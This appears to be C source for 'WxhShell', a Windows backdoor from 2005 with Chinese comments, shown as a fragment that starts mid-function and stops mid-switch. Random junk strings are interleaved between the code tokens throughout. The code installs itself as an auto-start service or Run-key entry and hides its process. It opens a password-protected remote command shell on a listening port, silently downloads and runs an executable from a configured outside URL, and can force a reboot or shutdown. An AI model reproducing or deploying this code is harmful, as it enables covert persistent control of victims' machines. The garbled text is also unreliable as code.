BmKB HANDLE hProcess; t$kf'An}/ PROCESS_BASIC_INFORMATION pbi; xhoLQD H2tpP~!G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oXZ@* if(NULL == hInst ) return 0; 1k70>RQ&69 $>*/']> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `^4>^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nm%4L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H]n0JG9K vpr@ if (!NtQueryInformationProcess) return 0; sMe~C>RD onypwfIk)t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "8Wc\YDh if(!hProcess) return 0; RSVN(-wIi) 1)kl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5]O LV1Xt zdQu%q CloseHandle(hProcess); Fq\`1Ee{ %:8q7PN| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fn0LE~O}-8 if(hProcess==NULL) return 0; *ytd.^@r )T~ +>+t HMODULE hMod; !gH.st char procName[255]; wQ/@+$> unsigned long cbNeeded; /)OO)B-r mDt",#g
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QBT-J`Pz . R8W< CloseHandle(hProcess); $S-;M0G
x \#*;H|U.x if(strstr(procName,"services")) return 1; // 以服务启动 5O;oo@A:[ UC2OYZb return 0; // 注册表启动 KcyM2hE7 } u$`x]K=Zsm Mm[1Z;H // 主模块 |\L,r}1N int StartWxhshell(LPSTR lpCmdLine) w"Y55EURB { zyQEz#O SOCKET wsl; .6-o?=5 BOOL val=TRUE; z&/
o int port=0; -<^Q2]PE; struct sockaddr_in door; ve/6-J!5Y. aRb:.\ \zc if(wscfg.ws_autoins) Install(); vWfef~}~ B(T4nH_k port=atoi(lpCmdLine); xg%]\# <:}AC{I if(port<=0) port=wscfg.ws_port; IHX#BY> MM)/B>c Qt WSADATA data; ykl=KR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n'(n4qH2#s )ZT0zIG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @T=HcUP) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rQ-z2Pw door.sin_family = AF_INET; k |aOUW door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~w}[
._'#M door.sin_port = htons(port); d:WhP_rK9 +o70:UF % if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Am^O{`r41 closesocket(wsl); ;;J98G|1 return 1; H
{Wpf9_
K } OL+40 J >qGR^yvb if(listen(wsl,2) == INVALID_SOCKET) { cO?"
closesocket(wsl); R$,iDv.jI return 1; @V
CQ4X7T } ^)]*10 Wxhshell(wsl); ${:$jX[ WSACleanup(); 9 7qS.Z27 'cc4Y~0s return 0; +}Wo=R} yXQ;LQ; } nU#q@p)Xg u5B/Em7,0 // 以NT服务方式启动 ':>*=& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J]YN2{(x { PSw+E'; DWORD status = 0; <Q~7a
hF DWORD specificError = 0xfffffff; xa^HU~ q`K-T_< serviceStatus.dwServiceType = SERVICE_WIN32; ?{Z0g+B1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; I%WK*AORM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l\y*wr` serviceStatus.dwWin32ExitCode = 0; H ?:#Ui(p serviceStatus.dwServiceSpecificExitCode = 0; hWe}(Ks serviceStatus.dwCheckPoint = 0; L#N.pd
serviceStatus.dwWaitHint = 0; KPcuGJ r6_a%A* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =_:L
wmI if (hServiceStatusHandle==0) return; 6M|%nBN$| c<x6_H6[8 status = GetLastError(); HcUz2Rm5XP if (status!=NO_ERROR) K1WoIv<Ym { -k{R<L
serviceStatus.dwCurrentState = SERVICE_STOPPED; W5uI(rS<6 serviceStatus.dwCheckPoint = 0; lfG's'U-z serviceStatus.dwWaitHint = 0; Hmd:>_[f serviceStatus.dwWin32ExitCode = status; +W4g:bB1 serviceStatus.dwServiceSpecificExitCode = specificError; }&hgedx SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x^bl+_" return; UAO#$o( } oU5mrS.7M! W"@lFUi serviceStatus.dwCurrentState = SERVICE_RUNNING; \+A<s,x serviceStatus.dwCheckPoint = 0; JNl+UH:. serviceStatus.dwWaitHint = 0; 1/BMs0 = if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nU *fne? } @]3Rw[%z e)(| // 处理NT服务事件,比如:启动、停止 J8DbAB4X VOID WINAPI NTServiceHandler(DWORD fdwControl) 8dB~09Z7 { F}[;ytmUS switch(fdwControl) 0)44*T { K0@7/*% case SERVICE_CONTROL_STOP: tAi9mm;k serviceStatus.dwWin32ExitCode = 0; X*q
C:]e serviceStatus.dwCurrentState = SERVICE_STOPPED; R/YL1s serviceStatus.dwCheckPoint = 0; 3?(p; serviceStatus.dwWaitHint = 0; !AHm+C_=Lg { _q$fw& SetServiceStatus(hServiceStatusHandle, &serviceStatus); `roSOX1f } Oei2,3l,? return; (%!R case SERVICE_CONTROL_PAUSE: m(P)oqwM serviceStatus.dwCurrentState = SERVICE_PAUSED; c!T{|'? break; sn#h=,*4` case SERVICE_CONTROL_CONTINUE: Al]9/ML/m serviceStatus.dwCurrentState = SERVICE_RUNNING; Q7%#3ML break; 8hp]+k_y case SERVICE_CONTROL_INTERROGATE: YTh4&wm break; eP?|U.on }; &Hxr3[+$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8[ OiG9b } 2ow\d b k~dr;j // 标准应用程序主函数 4Pdk?vHK; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Mh\!rMg { [40 YoVlfM FCPRg^=<!~ // 获取操作系统版本 'b,D;'v OsIsNt=GetOsVer(); c y$$} GetModuleFileName(NULL,ExeFile,MAX_PATH); r&DK> H !:e
qPpz // 从命令行安装 Qd?P[xm if(strpbrk(lpCmdLine,"iI")) Install(); 0^z$COCv uy{KV"%"^g // 下载执行文件 1hG O*cq! if(wscfg.ws_downexe) { BI]t}7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WG{/I/bJ_ WinExec(wscfg.ws_filenam,SW_HIDE); mio'm } cf'Z#NfQ ?Gfe? if(!OsIsNt) { V:J6eks_ // 如果时win9x,隐藏进程并且设置为注册表启动 U s5JnP 5 HideProc(); sSK$ StartWxhshell(lpCmdLine); 8msDJ{,X } t79MBgZ else Oa
.%n9ec if(StartFromService()) |VL,\&7rk // 以服务方式启动 GAlO<Mu StartServiceCtrlDispatcher(DispatchTable);
KRe=n3 1 else }D O# {@af // 普通方式启动 5ntP{p%> StartWxhshell(lpCmdLine); 8=9sIK2
"kC>EtaX return 0; ?_r"Fg;" } _K>m9Q2 <-pbLL 9 $@j7VPE /<Et =========================================== *1n: !c7Od
)] D>Z_N?iR 0a'y\f:6* MC@cT^Z^ O7sn>uO " < lrw7 T )J0VB't #include <stdio.h> t;'.D @ #include <string.h> _HQa3wj #include <windows.h> KWo)}m*6 #include <winsock2.h> HApP*1J^c #include <winsvc.h> w[ngkLEA #include <urlmon.h> 5;l_-0= @C2<AmY9q* #pragma comment (lib, "Ws2_32.lib") E
\RU[ #pragma comment (lib, "urlmon.lib") <]nI)W( 2srz) xEe #define MAX_USER 100 // 最大客户端连接数 0^4*[?l9q #define BUF_SOCK 200 // sock buffer D 4wB
&~U #define KEY_BUFF 255 // 输入 buffer 2H#vA 67eo~~nUtg #define REBOOT 0 // 重启 L"a#Uu8 #define SHUTDOWN 1 // 关机 4o8!p\a 8] *{i #define DEF_PORT 5000 // 监听端口 ? 6l::M :jPAA`, #define REG_LEN 16 // 注册表键长度
T9^i#8-^ #define SVC_LEN 80 // NT服务名长度 N\?iU8w= Y>+D\|%Q // 从dll定义API c#DTL/8"DO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ln.~ >FO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1"k@O)?JP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :<W8uDAs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QI-3mqL S;g~xo // wxhshell配置信息 ?cvv!2B]T struct WSCFG { {IVqV6: int ws_port; // 监听端口 b/EvcN8 } char ws_passstr[REG_LEN]; // 口令 )+G(4eIT int ws_autoins; // 安装标记, 1=yes 0=no Q7\Ax0 char ws_regname[REG_LEN]; // 注册表键名 jDoWSYu4tY char ws_svcname[REG_LEN]; // 服务名 %WNy=V9txp char ws_svcdisp[SVC_LEN]; // 服务显示名 oKac~}_KL char ws_svcdesc[SVC_LEN]; // 服务描述信息 -*EJj>x char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1\p[mN int ws_downexe; // 下载执行标记, 1=yes 0=no zSO[f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZS-9|EA< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L8fr
uwb i469<^A }; f19
i
! 9`muk // default Wxhshell configuration ;P_Zen struct WSCFG wscfg={DEF_PORT,
P/Zo "xuhuanlingzhe", 6D OE6 1, @lX)dY "Wxhshell", OL>/FOH:Fx "Wxhshell", '54@-}D "WxhShell Service", f
{
ueI< "Wrsky Windows CmdShell Service", X%dOkHarB "Please Input Your Password: ", 4*3vZ6lhu 1, #/:[ho{JQ "http://www.wrsky.com/wxhshell.exe",
DF~w20+ "Wxhshell.exe" NXx}KF c }; /_O-m8+4m (Gc5lMiX3 // 消息定义模块 5?O"N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Z6/b
_kV char *msg_ws_prompt="\n\r? for help\n\r#>"; ?|33Np) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~-6;h.x= char *msg_ws_ext="\n\rExit."; E(oNS\4 char *msg_ws_end="\n\rQuit."; `u U@( char *msg_ws_boot="\n\rReboot..."; Rg6>6.fk* char *msg_ws_poff="\n\rShutdown..."; 1pK7EK3R char *msg_ws_down="\n\rSave to "; nxt1Y04,H cZYX[.oIB char *msg_ws_err="\n\rErr!"; #k6;~ char *msg_ws_ok="\n\rOK!"; X[w9~t$\ -zkB`~u_ char ExeFile[MAX_PATH]; QUNsS9 int nUser = 0; Nl+2m4 HANDLE handles[MAX_USER]; =[WccF int OsIsNt; pmS=$z;I n'gfB]H[ SERVICE_STATUS serviceStatus; ?`r/_EKNv SERVICE_STATUS_HANDLE hServiceStatusHandle; fq(e~Aqw$ rLnu\X=h$ // 函数声明 /~yqZD<O int Install(void); *8N~Zmz int Uninstall(void); n)0{mDf% int DownloadFile(char *sURL, SOCKET wsh); r oKiSE` int Boot(int flag); y.nw6.`MR void HideProc(void); V)]&UbEL| int GetOsVer(void); | @YN\g K; int Wxhshell(SOCKET wsl); 7 XY C.g void TalkWithClient(void *cs); YJ9_cA'A int CmdShell(SOCKET sock); d_`Ze.^
int StartFromService(void); qg O)@B+ int StartWxhshell(LPSTR lpCmdLine); Q6BWax| -K0tK~%q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?`vb\K<5H; VOID WINAPI NTServiceHandler( DWORD fdwControl ); wFvilF
V +k>v^sz // 数据结构和表定义 84{<]y SERVICE_TABLE_ENTRY DispatchTable[] = N
8OPeY { UY+~xzm {wscfg.ws_svcname, NTServiceMain}, /b*@dy {NULL, NULL} kC+A7k6 }; X;1q1X)K ;2iZX=P`n // 自我安装 TnG"_VK9R int Install(void) IV*}w"r { p+t8*lkq char svExeFile[MAX_PATH]; {T IGPK HKEY key; i~2>kxf;K1 strcpy(svExeFile,ExeFile); t@ Jo ?0s ``SjALf // 如果是win9x系统,修改注册表设为自启动 7Ct m({I- if(!OsIsNt) { E,r PM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )#Id2b~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UJZa1p@L RegCloseKey(key); 'e&4#VLH^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FLWz7Rj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n Au>i< RegCloseKey(key); Rl(b tr1w return 0; XBc+_=)$ } }bHpFe } uJWX7UGuz } HGKm?'[' else { ;gc2vDMv o
ZAjta_4 // 如果是NT以上系统,安装为系统服务 +n:#Uf) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M}c_KFMV if (schSCManager!=0) $xl*P# { " JRlj SC_HANDLE schService = CreateService #?/.LMn{ ( LJ)3!Q/: schSCManager, bcZuV5F& wscfg.ws_svcname, `i{ :mio wscfg.ws_svcdisp, Re2kD/S3 SERVICE_ALL_ACCESS, cqq+#39iC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j ]P|iL SERVICE_AUTO_START, 6Q`ce!~$ SERVICE_ERROR_NORMAL, \-B>']:R4 svExeFile, JdAjKN NULL, X bg7mj9c NULL, &Jn%2[; NULL, ]_Qc}pMF& NULL, YlA=?
X NULL Bm?Ku7}. ); LU]~d<i99 if (schService!=0) hImCy9i} { v`fUAm/ CloseServiceHandle(schService); QXrK-&fju CloseServiceHandle(schSCManager); C]`Y PM5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qN) cB?+ strcat(svExeFile,wscfg.ws_svcname); 4$J/e?i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QSLDA` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w\M_3} RegCloseKey(key); q&M;rIo? return 0; Vg3&:g5 / } (tz! "K } x4.
#_o& CloseServiceHandle(schSCManager); $~-j-0
\m } yTEuf@ } 7KEGTKfW I2 Kb.`'! return 1; nMnc&8r } 9xz`V1mIL D^u{zZy@e // 自我卸载 51&T`i int Uninstall(void) f8j^a?d| { Glwpu-@X HKEY key; {Xp.}c ?-VN+
d7 if(!OsIsNt) { &a:aW;^A7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gnw>%f1@u RegDeleteValue(key,wscfg.ws_regname); nGf@zJDb RegCloseKey(key); E|TzrH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3_-# RegDeleteValue(key,wscfg.ws_regname); O~S}u RegCloseKey(key); }_;nln?t( return 0; N.<hZ\].= } r~;N(CG } Grqs*V &|g } w"e2}iE7 else { +!<`$+W W)_B(;$] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Ctj]t if (schSCManager!=0) HlO+^(eX { Ju\"l8[f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NX;&V7 if (schService!=0) '71btd1 { J0K"WmW if(DeleteService(schService)!=0) { H0HYb\TX ? CloseServiceHandle(schService); &qC>*X. CloseServiceHandle(schSCManager);
Bb o* return 0; yx-"YV}5 } -"<f( CloseServiceHandle(schService); V1fPH; } B8&@Qc@~ CloseServiceHandle(schSCManager); okv7@8U#p } $_VD@YlAp } ~RJg.9V BO_^3Me* return 1; rQqtejcfx } 7[)(;- ?/wloLS47 // 从指定url下载文件 Dmw,Bi* int DownloadFile(char *sURL, SOCKET wsh) c~
SI" { g :EU\ HRESULT hr; B/71$i char seps[]= "/"; m|k,8guG char *token; 7Av]f3Zr char *file; 4Y2>w char myURL[MAX_PATH]; fwEi//1 char myFILE[MAX_PATH]; $CmTsnR1#y '3Ri/V, strcpy(myURL,sURL); #&Ee5xM= token=strtok(myURL,seps); ,Tx8^|b#F while(token!=NULL) K+\hv~+@ { r$7rYxFR file=token; P#xn!fMi token=strtok(NULL,seps); B]vj1m`9 } 6PH*]#PfoD )N/KQ[W GetCurrentDirectory(MAX_PATH,myFILE); 7Tbk ti; strcat(myFILE, "\\"); F)@<ZE strcat(myFILE, file); \9p;md` send(wsh,myFILE,strlen(myFILE),0); 6yb<4@LOb send(wsh,"...",3,0); v^tKT& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D6t]E)FH if(hr==S_OK) RBXoU'. return 0; !=we7vK} else cMv3` $ return 1; UQFuEI<1- @oEDtN } mAzW'Q4D d(!N$B\[5T // 系统电源模块 2Kidbf int Boot(int flag) <fJ\AP5 { [OcD#~drO HANDLE hToken; riL!]'akV TOKEN_PRIVILEGES tkp; |#wz)=mD 0 Yp;?p^ if(OsIsNt) { {>Px.%[< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5*AKl< Jl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #vSI_rt9I tkp.PrivilegeCount = 1; b<n)`; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %?fzT+-=% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H4,yuV if(flag==REBOOT) { )sHPIxHI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =m:W return 0; 7r>W r# } DFonK{ else { Zux2VepT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2"O Y]d return 0; [7V]=] p } AqkK`iJ# } fW
_. else { .yPx'_e if(flag==REBOOT) { .Dm{mV@*T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5*$Zfuf return 0; 2e"}5b5 } _HsvF[\[ else { sYpogFfV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [w f12P return 0; [78
.%b' } %*OJRL` } ,)1e+EnV& 1*h7L<#|mQ return 1; 9:o3JGHSc } B*IDx`^Y 6K}=K?3Z // win9x进程隐藏模块 iE(grI3 void HideProc(void) j`B{w { P vwIO_W CCO g1X_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SO/]d70HG if ( hKernel != NULL ) pZxL?N! { ; \+0H$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :(Bi{cw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^~l<N@ FreeLibrary(hKernel); (rn x56I$ } ^q\zC%. LS'=>s" return; 0
,-b %X } 7p6J JuSS5 _& // 获取操作系统版本 RZA\-?cO) int GetOsVer(void) @k<~`S~| { 3G^Ed)JvE OSVERSIONINFO winfo; *.g?y6d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \<**SSN GetVersionEx(&winfo); <J-Z;r(gQN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QEa=!O return 1; #1@~w}Dh else VKz<7K\/ return 0; hm>*eJNp] } 6l'y h>0<@UP // 客户端句柄模块 %<yM=1~> int Wxhshell(SOCKET wsl) M7,MxwZ0k { >N-% SOCKET wsh; "6Uj:9 struct sockaddr_in client; i5Q<~;Z+ DWORD myID; VhgEG(Ud WmUW
i{ while(nUser<MAX_USER) A#&qoZ(C { Ir #V2]$ int nSize=sizeof(client); z D<9A6AB wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `gN68:B if(wsh==INVALID_SOCKET) return 1; ^~ $& -FV'%X$i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _`>7
Q),7 if(handles[nUser]==0) rJp6d :M
closesocket(wsh); ]bb}[#AY else C}_:K)5q nUser++; Y{RB\}f( } MXk. 2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W+e*(W|d6 TZNgtR{q
return 0; N'P,QiR,z< } .+}o'rU [nIG_j>D-f // 关闭 socket 389.&`Q%Ut void CloseIt(SOCKET wsh) a] =\h'S { L]N2rMM closesocket(wsh); 92VX5?Cyg nUser--; `e>F<{
M6@ ExitThread(0); 2EwWV0BS } gecT*^ jMui+G(h // 客户端请求句柄 NP'Ke: void TalkWithClient(void *cs) t<,p-TM] { g4a X ?0<INS~ SOCKET wsh=(SOCKET)cs; FNCLGAiZ char pwd[SVC_LEN]; w*%$
lhp! char cmd[KEY_BUFF]; h\*rv5\M char chr[1]; %L>nXj int i,j; iCRw}[[ YzW7;U
S while (nUser < MAX_USER) { wn|@D< ^@L
l(? if(wscfg.ws_passstr) { I7z/GA\x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :*:fun
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0nq}SH //ZeroMemory(pwd,KEY_BUFF); }"B? 8T@_~ i=0; qbq<O %g= while(i<SVC_LEN) { VfqY_NmgC a {$k<@Ww // 设置超时 0k0c fd_set FdRead; " IkF/ struct timeval TimeOut; 76Vyhf&7 FD_ZERO(&FdRead); J&ECm+2 FD_SET(wsh,&FdRead); [2 w<F[ TimeOut.tv_sec=8; Jo aDX , TimeOut.tv_usec=0; |\n)<r_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #IhLpO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qL5#.bR ;AGs1j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3k*:B~1 pwd=chr[0]; :CST!+)o if(chr[0]==0xd || chr[0]==0xa) { C1B3VG pwd=0; qvU$9cTY break; =>}.W:= } dwbY"t[9 i++; *RbOQ86vP } (&S[R{=^j 4Re@ QOZ // 如果是非法用户,关闭 socket q\'P1~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JRjMt-7H_ } C:GHP$/} wQ=yY$VP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]RXtC* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K*U=;*p) P[I*% while(1) { d?&!y]RS# "K+N f ZeroMemory(cmd,KEY_BUFF); vgA!?P3 fZV8o$V // 自动支持客户端 telnet标准 7|M $W(P j=0; Z:lB:U'o while(j<KEY_BUFF) { AK
s39U' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Z8"uRTb0 cmd[j]=chr[0]; R(?<97 if(chr[0]==0xa || chr[0]==0xd) { [mf7>M`p]@ cmd[j]=0;
J"Y break; iPY vePQ } /=YqjZTCq j++; B#k3"vk# } g\\1C2jG '
MS!ss=r // 下载文件 3Da,]w< if(strstr(cmd,"http://")) { s 9|a2/{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); @Tfwh/UN if(DownloadFile(cmd,wsh)) |
2.e0Z]k send(wsh,msg_ws_err,strlen(msg_ws_err),0); j`|^s}8t else Ld}(*-1i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); le^_6|ek } mzV"G>,o else { /,Dwu?Lcqp ]o[X+;Tj| switch(cmd[0]) { 3:~l2KIP4 y@kcXlY // 帮助 3 $$5Mk(& |